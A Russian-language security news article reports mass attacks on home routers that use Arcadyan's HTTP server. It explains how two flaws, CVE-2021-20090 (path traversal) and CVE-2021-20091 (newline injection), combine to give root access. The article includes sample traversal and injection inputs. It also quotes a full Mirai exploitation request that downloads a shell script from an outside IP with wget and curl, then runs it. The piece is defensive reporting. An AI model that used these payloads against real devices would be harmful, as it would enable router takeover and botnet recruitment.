В сети зафиксирована массовая атака на домашние маршрутизаторы, в прошивках которых используется реализация http-сервера от компании Arcadyan. Для получения управления над устройствами применяется сочетание двух уязвимостей, позволяющих удалённо выполнить произвольный код с правами root. Проблема затрагивает достаточно большой спектр ADSL-маршрутизаторов от компаний Arcadyan, ASUS и Buffalo, а также устройств, поставляемых под брендами Билайн (проблема подтверждена в Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone и других операторов связи. Отмечается, что проблема присутствует в прошивках Arcadyan уже более 10 лет и за это время успела перекочевать как минимум в 20 моделей устройств от 17 различных производителей.
Первая уязвимость CVE-2021-20090 даёт возможность обратиться к любому скрипту web-интерфейса без прохождения аутентификации. Суть уязвимость в том, что в web-интерфейсе некоторые каталоги, через которые отдаются картинки, CSS-файлы и сценарии JavaScript, доступны без аутентификации. При этом проверка каталогов, для которых разрешён доступ без аутентификации выполняется по начальной маске. Указание в путях символов "../" для перехода в родительский каталог блокируется прошивкой, но использование комбинации "..%2f" пропускается. Таким образом, имеется возможность открытия защищённых страниц при отправке запросов, подобных "http://192.168.1.1/images/..%2findex.htm".
Вторая уязвимость CVE-2021-20091 позволяет аутентифицированному пользователю внести изменения в системные настройки устройства через отправку специально оформленных параметров скрипту apply_abstract.cgi, который не осуществляет проверку наличия символа перевода строки в параметрах. Например, атакующий может при выполнении операции ping указать в поле с проверяемым IP-адресом значение "192.168.1.2%0AARC_SYS_TelnetdEnable=1" и скрипт при создании файла с настройками /tmp/etc/config/.glbcfg запишет в него строку "AARC_SYS_TelnetdEnable=1", которая активирует сервер telnetd, предоставляющий неограниченный доступ в командную оболочку с правами root. Аналогично при помощи установки параметра AARC_SYS можно выполнить любой код в системе. Первая уязвимость даёт возможность запустить проблемный скрипт без аутенитификации, обратившись к нему как "/images/..%2fapply_abstract.cgi".
Для эксплуатации уязвимостей у атакующего должна быть возможность отправки запроса на сетевой порт, на которым выполняется web-интерфейс. Судя по динамике распространения атаки многие операторы оставляют на своих устройствах доступ из внешней сети для упрощения диагностики проблем службой поддержки. При ограничении доступа к интерфейсу только для внутренней сети атака может быть совершена из внешней сети при помощи техники "DNS rebinding". Уязвимости уже активно используются для подключения маршрутизаторов к ботнету Mirai:
POST /images/..%2fapply_abstract.cgi HTTP/1.1
Connection: close
User-Agent: Dark
action=start_ping&submit_button=ping.html&
action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7%0A
ARC_SYS_TelnetdEnable=1&
%0AARC_SYS_=cd+/tmp;
wget+http://212.192.241.72/lolol.sh;
curl+-O+http://212.192.241.72/lolol.sh;
chmod+777+lolol.sh;
sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4
Вы должны войти